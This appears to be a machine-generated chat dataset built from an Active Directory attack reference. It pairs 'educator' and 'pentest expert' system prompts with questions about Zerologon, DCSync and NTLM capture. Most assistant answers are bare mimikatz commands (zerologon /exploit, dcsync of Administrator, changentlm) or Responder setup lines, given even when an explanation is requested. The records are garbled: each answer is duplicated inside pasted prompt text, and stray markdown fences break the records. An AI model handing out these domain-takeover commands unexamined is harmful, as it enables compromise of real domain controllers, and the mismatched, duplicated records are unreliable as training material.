[Assistant] lsadump::zerologon /target:'Domain_controller' /account:'DC_account$'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: lsadump::zerologon /target:'Domain_controller' /account:'DC_account$'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Scan for the vulnerability during a pentest?

[Assistant] lsadump::zerologon /target:'Domain_controller' /account:'DC_account$'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Scan for the vulnerability during a pentest?

Response: lsadump::zerologon /target:'Domain_controller' /account:'DC_account$'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Exploit the vulnerability: set the NT hash to \x00*8?

[Assistant] lsadump::zerologon /exploit /target:'Domain_controller' /account:'DC_account$'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is Exploit the vulnerability: set the NT hash to \x00*8?

Response: lsadump::zerologon /exploit /target:'Domain_controller' /account:'DC_account$'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Exploit the vulnerability: set the NT hash to \x00*8?

[Assistant] lsadump::zerologon /exploit /target:'Domain_controller' /account:'DC_account$'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Exploit the vulnerability: set the NT hash to \x00*8?

Response: lsadump::zerologon /exploit /target:'Domain_controller' /account:'DC_account$'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Obtain the krbtgt by DCSync?

[Assistant] lsadump::dcsync /domain:'Domain' /dc:'Domain_controller' /user:'Administrator' /authuser:'DC_account$' /authdomain:'Domain' /authpassword:'' /authntlm

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: lsadump::dcsync /domain:'Domain' /dc:'Domain_controller' /user:'Administrator' /authuser:'DC_account$' /authdomain:'Domain' /authpassword:'' /authntlm


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Obtain the krbtgt by DCSync?

[Assistant] lsadump::dcsync /domain:'Domain' /dc:'Domain_controller' /user:'Administrator' /authuser:'DC_account$' /authdomain:'Domain' /authpassword:'' /authntlm

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Obtain the krbtgt by DCSync?

Response: lsadump::dcsync /domain:'Domain' /dc:'Domain_controller' /user:'Administrator' /authuser:'DC_account$' /authdomain:'Domain' /authpassword:'' /authntlm


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Reset the DC account's password in AD and in its SAM base

[Assistant] lsadump::postzerologon /target:'Domain_Controller' /account:'DC_account$'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Reset the DC account's password in AD and in its SAM base

Response: lsadump::postzerologon /target:'Domain_Controller' /account:'DC_account$'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Reset the DC account's password in AD and in its SAM base

[Assistant] lsadump::postzerologon /target:'Domain_Controller' /account:'DC_account$'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Reset the DC account's password in AD and in its SAM base

Response: lsadump::postzerologon /target:'Domain_Controller' /account:'DC_account$'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does (alternative to postezerologon) Change the NT hash of the domain controller machine account in the AD back to its original value work?

[Assistant]
lsadump::changentlm /server:'Domain_controller' /user:'DC_account$' /oldntlm:'31d6cfe0d16ae931b73c59d7e0c089c0' /newntlm:'previous_NThash'
```

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does (alternative to postezerologon) Change the NT hash of the domain controller machine account in the AD back to its original value work?

Response:
lsadump::changentlm /server:'Domain_controller' /user:'DC_account$' /oldntlm:'31d6cfe0d16ae931b73c59d7e0c089c0' /newntlm:'previous_NThash'
```

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on (alternative to postezerologon) Change the NT hash of the domain controller machine account in the AD back to its original value

[Assistant]
lsadump::changentlm /server:'Domain_controller' /user:'DC_account$' /oldntlm:'31d6cfe0d16ae931b73c59d7e0c089c0' /newntlm:'previous_NThash'
```

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on (alternative to postezerologon) Change the NT hash of the domain controller machine account in the AD back to its original value

Response:
lsadump::changentlm /server:'Domain_controller' /user:'DC_account$' /oldntlm:'31d6cfe0d16ae931b73c59d7e0c089c0' /newntlm:'previous_NThash'
```

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Capture - Theory?

[Assistant] After successfully forcing a victim to authenticate with LM or NTLM to an attacker's server, the attacker can try to recover credentials by capturing and cracking the hash (LM or NTLM hash, a.k.a. response) sent by the victim.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Capture - Theory?

Response: After successfully forcing a victim to authenticate with LM or NTLM to an attacker's server, the attacker can try to recover credentials by capturing and cracking the hash (LM or NTLM hash, a.k.a. response) sent by the victim.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Capture - Theory?

[Assistant] After successfully forcing a victim to authenticate with LM or NTLM to an attacker's server, the attacker can try to recover credentials by capturing and cracking the hash (LM or NTLM hash, a.k.a. response) sent by the victim.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: After successfully forcing a victim to authenticate with LM or NTLM to an attacker's server, the attacker can try to recover credentials by capturing and cracking the hash (LM or NTLM hash, a.k.a. response) sent by the victim.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Capture - Practice?

[Assistant]
> [!TIP]
> NTLM capture can be combined with any forced authentication attack. Testers should dissociate the name poisoning features that Responder and Inveigh offer from their capturing features. Those tools can be combined with others offering different "authentication forcing" attacks (like IPv6 + name poisoning, MS-RPRN abuse and so on).

Responder (Python) and Inveigh (Powershell) are great tools able to do name poisoning for forced authentication attacks, but also able to capture responses (LM or NTLM hashes) by starting servers waiting for incoming authentications. Once those listening servers are up and ready, the tester can initiate the forced authentication attack.

> [!TIP]
> In order to help the later cracking process, testers need to set the NTLM challenge sent to victims to 1122334455667788.
>
> For Inveigh, it can be defined with a command-line argument. For Responder, testers need to edit the configuration file.
>
> ``bash
> sed -i 's/ Random/ 1122334455667788/g' /PATH/TO/Responder/Responder.conf
> `

::: tabs

=== Responder

From UNIX-like systems, Responder (Python) can be used to start servers listening for NTLM authentications over many protocols (SMB, HTTP, LDAP, FTP, POP3, IMAP, SMTP, ...). Depending on the authenticating principal's configuration, the NTLM authentication can sometimes be downgraded with --lm and --disable-ess in order to obtain NTLMv1 responses.

``bash
responder --interface "eth0" --analyze
responder -I "eth0" -A

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Capture - Practice?

Response:
> [!TIP]
> NTLM capture can be combined with any forced authentication attack. Testers should dissociate the name poisoning features that Responder and Inveigh offer from their capturing features. Those tools can be combined with others offering different "authentication forcing" attacks (like IPv6 + name poisoning, MS-RPRN abuse and so on).

Responder (Python) and Inveigh (Powershell) are great tools able to do name poisoning for forced authentication attacks, but also able to capture responses (LM or NTLM hashes) by starting servers waiting for incoming authentications. Once those listening servers are up and ready, the tester can initiate the forced authentication attack.

> [!TIP]
> In order to help the later cracking process, testers need to set the NTLM challenge sent to victims to 1122334455667788.
>
> For Inveigh, it can be defined with a command-line argument. For Responder, testers need to edit the configuration file.
>
> ``bash
> sed -i 's/ Random/ 1122334455667788/g' /PATH/TO/Responder/Responder.conf
> `

::: tabs

=== Responder

From UNIX-like systems, Responder (Python) can be used to start servers listening for NTLM authentications over many protocols (SMB, HTTP, LDAP, FTP, POP3, IMAP, SMTP, ...). Depending on the authenticating principal's configuration, the NTLM authentication can sometimes be downgraded with --lm and --disable-ess in order to obtain NTLMv1 responses.

``bash
responder --interface "eth0" --analyze
responder -I "eth0" -A